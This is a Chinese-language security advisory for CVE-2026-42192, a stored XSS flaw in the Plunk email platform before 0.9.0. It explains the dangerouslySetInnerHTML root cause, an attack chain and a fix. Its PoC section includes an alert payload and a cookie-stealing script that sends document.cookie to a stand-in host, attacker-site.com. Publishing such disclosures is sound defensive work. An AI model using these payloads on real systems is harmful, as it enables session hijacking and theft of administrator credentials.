IPBUF安全漏洞报告
English
CVE-2026-42192 CVSS 5.4 中危

CVE-2026-42192 Plunk存储型XSS漏洞

披露日期: 2026-05-08

漏洞信息

漏洞编号
CVE-2026-42192
漏洞类型
存储型跨站脚本攻击 (Stored XSS)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Plunk

相关标签

XSSStored XSSPlunkCWE-79React Security

漏洞概述

Plunk是基于AWS SES构建的开源电子邮件平台。在0.9.0版本之前,该平台的营销活动管理功能中存在存储型跨站脚本(XSS)漏洞。已认证的项目成员在创建邮件正文时,可以嵌入恶意脚本。由于管理后台在渲染这些内容时直接使用了React的dangerouslySetInnerHTML属性且未进行任何HTML清理,当管理员或其他具有更高权限的成员查看受影响的营销活动时,恶意脚本将自动执行。攻击者利用此漏洞可劫持用户会话或代表用户执行未授权操作。

技术细节

该漏洞属于典型的存储型跨站脚本攻击(Stored XSS)。其根本原因在于Plunk应用的前端React组件在渲染从数据库读取的邮件正文内容时,错误地使用了dangerouslySetInnerHTML API,并且完全绕过了React默认的XSS防护机制,未对输入数据进行HTML实体转义或使用DOMPurify等库进行消毒。攻击流程如下:首先,攻击者需要拥有一个有效的项目成员账户(权限要求较低)。其次,攻击者在创建或编辑营销活动的邮件内容时,注入恶意的JavaScript代码(如<img src=x onerror=alert(1)>或窃取Cookie的脚本)。该payload被存储在后端数据库中。最后,当管理员或其他目标用户访问管理面板并加载该特定的营销活动详情页时,React将未经过滤的HTML直接渲染到DOM中,导致浏览器执行攻击者的脚本。由于是在管理面板上下文中执行,攻击者可以利用管理员权限执行API调用,修改数据或窃取敏感信息。

攻击链分析

STEP 1
1. 身份认证
攻击者使用低权限的项目成员账户登录Plunk平台。
STEP 2
2. 恶意注入
攻击者在创建或编辑营销活动时,在邮件正文字段中注入包含JavaScript的恶意HTML代码。
STEP 3
3. 数据存储
平台将包含恶意脚本的邮件内容保存到数据库中,未进行适当的转义或过滤。
STEP 4
4. 触发漏洞
管理员或其他高权限用户在管理后台查看该营销活动的详情。
STEP 5
5. 代码执行
后台使用dangerouslySetInnerHTML渲染邮件内容,恶意脚本在受害者的浏览器上下文中执行,导致会话劫持。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- PoC for CVE-2026-42192: Stored XSS in Plunk --> <!-- Step 1: Login as a low-privileged project member --> <!-- Step 2: Edit a campaign and inject the following payload into the email body --> <!-- Basic Payload to test execution --> <img src="x" onerror="alert('CVE-2026-42192_Executed')"> <!-- Advanced Payload to steal session cookies --> <!-- <script> var i = new Image(); i.src = "http://attacker-site.com/steal.php?cookie=" + document.cookie; </script> -->

影响范围

Plunk < 0.9.0

防御指南

临时缓解措施
建议立即将Plunk升级到已修复的0.9.0版本。如果暂时无法升级,应在Web应用防火墙(WAF)层面对邮件内容输入进行规则过滤,拦截包含<script>、onerror等高危标签的请求,并限制管理后台的访问权限。

参考链接